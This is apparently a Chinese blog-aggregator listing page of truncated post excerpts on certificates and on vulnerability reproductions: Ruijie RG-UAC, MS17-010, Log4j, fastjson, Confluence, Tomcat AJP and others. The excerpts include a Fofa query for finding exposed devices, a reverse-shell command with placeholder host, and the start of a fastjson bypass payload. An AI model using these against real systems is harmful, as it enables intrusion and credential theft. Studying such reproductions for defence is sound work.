漏洞 证书cnvd
Java HTTPS如何加载证书
Java HTTPS如何加载证书 在进行Java编程开发中，经常会涉及到使用HTTPS协议进行安全通信。而HTTPS的安全性是建立在数字证书的基础上的，因此在Java中加载证书是一个非常重要的步骤。本文将围绕“JavaHTTPS如何加载证书”这一主题，为大家介绍一种简洁、高效的加载证书的方法。 Ja ......
【漏洞复现】【CNVD-2021-14536】锐捷RG-UAC信息泄露
仅供学习和预防，切记切记不要随意登陆和修改任何东西！！！以免带来不必要的麻烦。 简介：捷RG-UAC上网行为管理信息泄漏漏洞，攻击者可以通过审查网页源代码获取到用户账号和密码。 1.使用Fofa搜索互联网资产 语法：title="RG-UAC登录页面" && body="admin" 2.打开链接， ......
MS17-010漏洞复现
ms17-010永恒之蓝漏洞通过 TCP 的445和139端口，来利用 SMBv1 和 NBT 中的远程代码执行漏洞，通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。 本次通过VMware虚拟机搭建本地环境进行该漏洞的复现。 攻击机：kali 靶机：windows7 1.首先在 ......
微信支付请求(带证书)
import cn.hutool.core.lang.Pair; import cn.hutool.crypto.SecureUtil; import com.dtyunxi.exchange.biz.model.ApiChannelType; import com.dtyunxi.exchange ......
Nginx 解析漏洞复现
### Nginx 解析漏洞复现 Nginx解析漏洞复现 版本信息： * Nginx 1.x最新版 * PHP 7.x最新版 由此可知，该漏洞与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。 ``` docker-compose up -d docker-compose config ......
Apache HTTPD换行解析漏洞（CVE-2017-15715)
### Apache HTTPD 换行解析漏洞（CVE-2017-15715）【项目中遇到】 Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页，其**2.4.0~2.4.29**版本中存在一个解析漏洞，在解析PHP时,**1.php\x0A将按照PHP后缀进行解 ......
获取ssl证书剩余天数
# -*- coding: utf-8 -*- # @Time : 2023/8/4 11:22 # @Author : wangyafeng # @FileName: 证书过期.py # @Email : yafengwang@dingtalk.com # @Software: PyCharm i ......
2023-08-07 小程序之微信开发者工具调接口没问题，真机测试接口报网络错误 ==》检查下服务器证书是否到期
今日遇到个奇怪的问题，如题所述，真机测试中所有接口都报错，均返回网络错误，原因就是接口域名的证书到期了。 其实，如果在开发者工具不勾选“不校验域名证书”一项，开发工具调接口就会报错，这原因平时比较难想到，遇到并发现问题后，一般都是交给后端去处理。 ......
漏洞练习记录
前言：在此记录一些常见漏洞 # 暴力破解 ## 1 基于表单的暴力破解 指对没有设置验证码，一定时间内提交次数的登录框进行暴力破解 直接用burp suite在用户名和密码添加payload然后跑字典就行，最后观察结果长度判断是否跑出结果 ## 2 验证码绕过(验证码在前端) 我们通过尝试登陆，多次 ......
漏洞发现-web应用之漏洞探针利用修复
原理分析 1.已知 CMS 如常见的 dedecms.discuz,wordpress 等源码结构，这种一般采用非框架类开发，但也有少部分采用的是框架类开发，针对此类源码程序的安全检测，我们要利用公开的漏洞进行测试，如不存在可采用白盒代码审计自行挖掘。（1.在漏洞平台如seebug、cnvd搜索关键 ......
查看证书/apk指纹md5/sha1/sha256
[Android证书在线一键生成工具](https://www.kxapp.com/keystore.html "Android证书在线一键生成工具") ### 查看apk指纹 ```shell keytool -printcert -jarfile android_debug.apk ``` ## ......
漏洞发现-操作系统之漏洞探针利用修复
一.探针 1.goby忍者系统测试 2.nmap扫描 如果加上参数，就会调用script目录下的nse插件进行扫描 Nmap --script=vuln 默认nse插件 Nmap vulscan vulners 调用第三方库探针 加入拓展扫描模块 https://cnblogs.com/shwang ......
CVE-2021-22204 GitLab RCE之exiftool代码执行漏洞深入分析（二）
上一篇CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)复现分析了第一部分也就是携带恶意文件的请求是如何通过gitlab传递到exiftool进行解析的，接下来我将分析exiftool漏洞的原理和最后的触发利用。 希望读者能读有所得，从中收获到自己独特的见解。 ......
Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）
### Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938）【项目中遇到过】 **1. 背景简述** java是目前WEB开发中主流的编程语言，而Tomcat是当前流行的Java中间件服务器之一。 Ghostcat（幽灵猫）是由长亭科技安全研究员发现的存在于 Tomcat ......
ActiveMQ任意文件写入漏洞（CVE-2016-3088）
### ActiveMQ任意文件写入漏洞（CVE-2016-3088）【现实项目遇到过】 **1. 环境搭建** ```sh cd vulhub-master/activemq/CVE-2016-3088 docker-compose up -d docker-compose config #查看靶 ......
Nexpose v6.6.209 for Linux & Windows - 漏洞扫描
Nexpose v6.6.209 for Linux & Windows - 漏洞扫描 Rapid7 Vulnerability Management, Release Aug 02, 2023 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
Win32Exception: 证书链是由不受信任的颁发机构颁发的
异常： 访问数据库时出现异常 解决方法： 在数据库连接字符串中加入Encrypt=True;TrustServerCertificate=True; ......
CVE-2021-44228 Apache log4j2远程代码执行漏洞
漏洞复现 验证是否存在apache log4j2漏洞 https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 反弹shell bash -i >& /dev/tcp/ip/port 0>&1 将此命令进行javarunti ......
Mac中使用Keytool生成证书以及获取公钥方案实现
Keytool是java中提供的一个证书管理工具 如何生成证书？ 首先在Mac中新建一个文件夹，名为jks，如下图所示： 新建jks文件夹 然后在聚焦搜索里面搜索终端，打开terminal相当于windows中的cmd命令窗口,打开之后输入以下命令 cd jkskeytool -genkeypair ......
Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134）
# Confluence OGNL表达式注入命令执行漏洞（CVE-2022-26134） ## 简介 Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新，通告了一个严重且已在野利用的代码执行漏洞，攻击者利用这个漏洞即可无需 ......
SSL 证书过期巡检脚本 （Python 版）
哈喽大家好，我是咸鱼 之前写了个 shell 版本的 SSL 证书过期巡检脚本 （文章：《[SSL 证书过期巡检脚本](https://mp.weixin.qq.com/s?__biz=MzkzNzI1MzE2Mw==&mid=2247486153&idx=1&sn=52911a79b77c11d7 ......
ios抓包、证书配置
前言 新装了系统，也重装了fiddler，之前的配置都没了，所以需要重新配置证书，但是配置完毕抓包ios的时候，safari出现了安全证书错误，同时要抓包的app也出现了证书错误提醒。 基本看遍了网上所有的关于ios抓包、证书配置的文章，所有方法均无效，在一段时间的摸索后，终于解决该问题。 方法 如 ......
web渗透测试(14)：文件上传漏洞
在本节中，我们将介绍如何使用文件上载功能来获取代码。 在Web应用程序（尤其是使用文件系统来确定应运行哪些代码的应用程序）中，如果您设法上传具有正确文件名的文件（通常取决于扩展名），则可以在服务器上执行代码。在本节中，我们将看到这些类型的攻击的基础知识。 首先，由于我们正在开发一个PHP应用程序，我 ......
openssl校验证书
校验证书到期时间 `openssl x509 -enddate -noout -in +证书存放所在路径/users.pem` 比如校验G:\soft\OpenVPN\config\test\users.pem，返回的值则为到期时间 `openssl x509 -enddate -noout -in ......
HTTP.SYS远程代码执行漏洞验证及其复现(CVE-2015-1635蓝屏洞)
# HTTP.SYS远程代码执行漏洞验证及其复现(CVE-2015-1635蓝屏洞) @[TOC](目录标题) ### 漏洞概述 ### http.sys介绍 HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务 ......
配置Windows远程服务证书
# 1、生成自签名证书 ```powershell $certname = "certnameTest" ## Replace {certificateName} $cert = New-SelfSignedCertificate -Subject "CN=$certname" -CertStore ......
fastjson 1.2.80 漏洞浅析及利用payload
# 0x01 说明 在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中，绕过checkAuto。 # 0x02 简析 ``` { "@type":"java.lang.Exception", "@type":"org.codehaus.g ......
CentOS7/8 升级openssl版本至3.0.8 修补漏洞SWEET32
升级步骤 1.安装perl-CPAN模块yum install perl-IPC-Cmd2.下载openssl源代码wget --no-check-certificate https://www.openssl.org/source/openssl-3.0.8.tar.gz tar -zxvf op ......
有哪些靠谱的证书可以考？
有哪些靠谱的证书可以考 人力资源社会保障部办公厅关于2023年度专业技术人员职业资格考试计划及有关事项的通知：http://www.gov.cn/zhengce/zhengceku/2023-01/20/content_5738275.htm 中国教育考试网：https://www.neea.edu ......